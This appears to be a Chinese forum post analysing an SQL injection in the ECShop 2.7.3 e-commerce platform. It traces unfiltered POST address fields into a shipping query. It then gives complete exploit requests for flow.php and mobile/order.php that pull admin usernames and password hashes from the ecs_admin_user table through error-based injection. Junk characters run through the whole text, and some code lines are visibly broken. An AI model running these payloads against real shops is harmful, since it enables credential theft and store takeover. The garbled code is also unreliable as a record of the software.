前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
G- H6 o1 O# ]% F3 }3 \
! `9 ]$ ^0 w( P9 n7 Z R 漏洞关键文件:
0 L Y) t Y/ C. T6 r" | C8 E) S2 r7 l; m( _
/includes/lib_order.php
8 ~$ I; C! w# \' h" Z* r
8 p3 ~* c1 t3 t$ a' n" n 关键函数:8 {! _+ |5 q; _4 w
0 A& s2 G$ d6 x) P
& T. [( d1 U/ m" p; T9 R$ b
2 P% W7 [3 \7 A4 O
01 function available_shipping_list($region_id_list) ( ~- F" i2 x4 ^( B( G
, U) s( i9 m7 @( J02 { ' d+ F6 N% G) c" J/ P4 q
+ v; {/ o% ? }
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
/ t2 v' {! J+ ?, ~4 {" q. Y1 ?. r' l
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
$ i! B1 a. @3 _, v0 c$ D6 u% d1 L) E& U- b+ s& o( Q
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
, q* h7 b9 `# J" u8 { Y9 ]' f1 H4 ]/ i
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 6 N7 S: P+ N+ F6 l/ G9 v
6 i& Q: `. m0 i/ k4 G07 $GLOBALS['ecs']->table('area_region') . ' AS r '. 4 \- [- s8 S9 i7 j: r6 e' D
* N% @" c; Q% t- x08 'WHERE r.region_id ' . db_create_in($region_id_list) .
& M5 s z* W( T2 j! \1 N5 K# m0 k7 L* _. H+ R( M& |
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
2 T3 N* o. d: C& K# _2 c( n+ S; L. y4 ?% B8 b% h( E: w/ I
10 5 K3 P2 r7 y p+ @0 g9 h# m
' m+ k- Z" l% _: i9 Q4 u$ }8 A11 return $GLOBALS['db']->getAll($sql);
# i8 `4 m5 k4 H# f8 B5 A, V( L. s" ^" M2 e3 M9 C
12 } # ^" r5 l# J6 y
4 h6 w I% p' r: `+ R
显然对传入的参数没有任何过滤就带入了查询语句。0 \; _9 l6 L Y3 X
" v! c) n1 B4 b( \/ D
下面我们追踪这个函数在flow.php中:
9 q; U5 H/ d/ K" R5 Z 第531行:
2 U* A& t* e+ r2 ~: K+ Q, y+ y% I
1 $shipping_list = available_shipping_list($region);
! z; r9 [9 Z0 p8 J H+ v
7 A `: j! M! o8 F
( C3 ]4 c; B- j! \, l- N! A' P. e6 j" a2 c* L- H
% A+ R& d$ o6 W" ^: V
' Y" c' C0 {& j6 {再对传入变量进行追踪:* U3 t3 R* u5 N4 {' V
# D2 {; T" V* Y. Q* A/ `, W) H第530行: # g- W. T9 V! z* G- O7 \3 K
5 p5 }9 j" o4 n& p
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); & Q) j6 B# \$ r
% K0 t$ ?, D& P5 q: f/ m: N7 h
, L S! W2 [1 M* K) X, y9 U
8 X8 c4 x7 Z, n, e ) E" o: r( s0 B0 u( A* [
% A2 ]9 C H0 x, R3 `% x
第473行: ; M7 Y) X4 Q' ^
( ]( a9 g5 _# i1 $consignee = get_consignee($_SESSION['user_id']);
* l/ p& @" s1 t8 r
5 H$ y: M* a* Q到了一个关键函数:0 A T& t! R# ^
$ Z/ A" K: H9 B/ b3 u/includes/lib_order.php: u+ I8 @0 h( x/ n" A8 Z
; e; m, e. I" B" e
4 g( b B1 r3 R0 P0 I4 i
. P" [% H3 N, o% A) M. G : n; h! V" T4 V: L# @8 s
M1 s/ j% N) t/ [0 O( j/ q
01 function get_consignee($user_id)
X f: p! Z4 n/ {/ p/ c; l
" ?: W/ \8 `& y7 c0 N02 { - L1 w& j% Y3 H# F; {
) |" u& ~& T6 d2 V2 P& P7 G03 if (isset($_SESSION['flow_consignee']))
/ U' b) R6 v) R, Z& U# c, p
. {/ F1 K+ @% L8 a9 B04 { , l! N' ?$ U, v9 C$ o/ v& F3 K
" G8 [$ \$ u+ R05 /* 如果存在session,则直接返回session中的收货人信息 */
i7 [- H: F8 ^3 \( C2 d8 w
' d( l. U$ R3 z06 0 m$ A. s+ d1 v) A3 p
0 K6 A6 m n# b+ z07 return $_SESSION['flow_consignee'];
0 `4 L; U+ h9 S4 Y/ J2 o P7 |7 T2 Q% I, i4 \( o' r+ z- m
08 } ! @8 }- Y+ {) U2 D) I9 q
1 z! b p+ Y/ c+ \. {, A7 l; H" n09 else + Y8 I4 G/ \( m7 e. E4 l U; O
+ K4 t0 z! K. X6 j4 d! |2 ^+ D/ J
10 { $ b' _0 A' W) M j
! [, l( o, F7 M, T% f
11 /* 如果不存在,则取得用户的默认收货人信息 */ & l2 f U: k. _- w' K6 t
8 n1 d0 m F/ ?; T
12 $arr = array(); 8 N7 F% M8 M8 m+ i
9 |. \* c' Y, {13 + E: o: e* w, Y3 V- m7 O0 E
5 i0 O1 |8 @$ L9 H& ?, q
14 if ($user_id > 0) + |$ _2 N% g% ~8 m$ e1 G5 V4 T
l; G/ I& C8 H; z: X; B& K15 { 7 `1 v+ F: ~2 `4 W6 {
W0 J& O$ X, H# i16 /* 取默认地址 */
% Y3 M2 e: X& n+ \+ ?5 x
1 |! r2 n: {5 ?1 w17 $sql = "SELECT ua.*".
$ q# N% R7 X9 D# _' r" @/ ^8 l! Q! F# @& f: o ~
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
+ I& f$ x4 A* z0 B0 J! M. p4 C [% e. r' @: y" X
19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 5 j5 v5 }3 n4 H& P1 y) M S: j
* f8 K/ W8 ^7 m
20 9 W4 X. P9 O' ~+ B3 B# W/ V$ T
8 ]! @$ {2 R4 u9 `: Q6 I$ f21 $arr = $GLOBALS['db']->getRow($sql);
2 |" E$ O/ f+ J, G+ Y4 o3 i: @
. E; E! A. ]" p, N) @& u8 C22 }
3 ^# Z2 D/ N3 _$ B5 N" ~1 S) w/ U3 s! q" u. i2 P2 O
23
* R5 h6 |7 f: k+ G. Q, j
' d: `) D, _( j, B0 Y2 v24 return $arr; 9 U8 A4 {2 n- X$ _; A. o; N6 P
* S9 w9 ?- P2 H7 ?) H7 {
25 } 3 ?4 [! V6 L) X0 Y, b7 T
% W0 c' e# @" _1 }; y9 i# U
26 } , @7 A2 R2 v) K) q$ A1 y
0 {9 X; T5 s' r' _' e4 n
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
6 o8 N2 U1 r. w: I1 _1 [4 C& A) Q' X% l7 ?8 Z
, R0 C. c6 Y5 c
1 q( u' N+ R+ S6 u7 C. x关键点:% V) }, _2 d& }# {5 Q6 Z8 b
; v6 a( a! c& M第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
7 U3 W3 D3 w. W
$ _9 N$ z) O9 Q: r- M/ K这里对传入参数反转义存入$_SESSION中。
! c2 d/ s4 T3 m# Q. O; C/ M4 H3 z% e
1 b/ m2 d+ Z4 V. M' M) j; A- @
% U5 c9 }5 @4 N/ K然后看下:
, ~7 v- S6 N9 T" A+ W
* w: f/ g# ^. n# J7 _" w 1 ~8 f/ \5 m7 R7 c, [9 q9 P) k/ T1 x8 d
# \; P3 R6 }) m
4 ^ ^% t( Z8 _: F
0 d, D7 X' C+ I3 I! Y9 x t B01 $consignee = array( 4 E/ Z/ H2 b+ {
6 e* c6 ~# H8 e2 J
02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), 2 G1 L2 o0 Z- `( u$ ^: Z
4 ]# N- ]( [: }03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']), 6 F! ?7 B4 H1 @ p r1 P
1 Q V/ c5 L& M
04 'country' => empty($_POST['country']) ? '' _POST['country'], - C$ | q# L5 M# `5 q C# j
8 F D9 i* Q0 p
05 'province' => empty($_POST['province']) ? '' _POST['province'],
3 ]* W' D P, s4 ]: y3 t3 X' R( ?$ [! i
06 'city' => empty($_POST['city']) ? '' _POST['city'],
; Y1 N4 p w5 Z0 S( K- T6 Y3 i1 b& L- v2 R
07 'district' => empty($_POST['district']) ? '' _POST['district'], 5 w- D# N! B/ k# c
7 d! ]) C/ A# n6 G, o08 'email' => empty($_POST['email']) ? '' _POST['email'], 5 C! T* g( M0 m7 y+ m0 g
2 h( [3 u. f3 i* s& c$ Y" n" ^
09 'address' => empty($_POST['address']) ? '' _POST['address'], ; q A! A2 v; |, v9 h) ~ l9 B% G
2 ?+ f: [2 z& [/ ^
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), 5 F5 l9 W# T( }: K" t; ~8 P
" W7 W- e1 ?% q c, c" g9 t11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), 7 }3 v1 W+ E& W: e& }* p- W
5 V0 w( |$ N% C+ h( V" ?' O2 I12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), / v9 d4 t- m& ?2 E) {; K Q
) Q) o2 Y0 L; `0 Z! ~9 o, a. X13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
6 u' {1 `& y. |$ D: G0 E* z% h k/ s$ b# y
14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
0 a) R6 \; i$ a+ ]. s# d/ b- U5 j2 l, S1 B5 u# V! D
15 );
2 u1 E6 h+ A" A1 f( |& A( N' l8 n+ d
* j6 i# x; e# M8 A* N- U好了注入就这样出现了。: j. [9 z# j6 |' o0 I
* W8 G6 n8 J% Q4 ?+ X==================
' e; T, M( _6 Y! b# `. {6 e; Q+ N
注入测试:0 A7 `5 {7 W! X5 G3 W; F- n
% J# z/ E) V! p2 t* {) I4 K环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)2 n5 h$ n$ ]. p0 X, h0 f- J7 S4 D
% x# N, d# F* X0 g
测试程序:ECShop_V2.7.3_UTF8_release1106
& m; j( Z C8 G1 H; l( c) f$ C6 `7 a5 x" B
. R8 K7 ]. A2 d' M8 d( G W1 j7 e4 l4 K. ]* ?9 ^" Q# p
1.首先需要点击一个商品加入购物车
y% O1 n, r; Y0 L& m6 c t: o# o0 y6 m! R! Q: b2 C
2.注册一个会员帐号
7 v# i0 ?# Q$ d9 V
$ h- x/ z( i4 B6 Q+ n8 T* ~ r3.post提交数据, Z- O3 Z$ D, @6 n# |$ Y5 K
2 N5 @& s r. q9 B6 N. _5 n5 m
, s! q: J/ S t4 Y
0 p" v$ }& q3 }9 O7 T
1 http://127.0.0.1/ecshop/flow.php 4 a+ v5 s8 |7 Z6 R
, A4 M ]6 f5 Y2
4 d# n3 K3 c* s0 S5 Z, t [$ [3 ~" f, P8 B+ D" h& F
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= ( `$ r) i/ E1 }7 K3 l5 [7 @ v4 n
举一反三,我们根据这个漏洞我们可以继续深入挖掘: s7 C, G0 W \* X& y, Z
1 U2 t+ @4 t8 W* j2 y# ]+ a
我们搜寻关键函数function available_shipping_list()
6 s6 W7 b! Z0 i4 d
9 r& p3 {: h" ?" A在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
. Y6 U c( W5 j7 t& Y( [) J# M4 a7 @8 |9 x
利用exp:
1 [. I( k4 ~ Q% f T+ @6 k; B! u5 Z' F. D) Y5 a/ Q
1.点击一个商品,点击购买商标# G; j' Y0 |! C
5 |5 j& B2 ~9 J8 l% W2 v J2.登录会员帐号' k3 o$ i9 a+ \" O$ l% P
/ Y6 g0 s, _& `9 _1 f. N; z4 A# S, z
3.post提交:( O4 c; p/ j! W, y5 c: l6 I
% b4 J/ H8 J4 k* q
http://127.0.0.1/ecshop/mobile/order.php$ @; P8 r8 U/ V* w, A7 S
" I( ~5 Z% e% i X2 P % g* O6 w4 ]: `: u! M; ^. d
* l/ p' w4 j- pcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
! _7 {# \$ m1 U0 i. E3 E6 m w$ f! M- w* L) s
|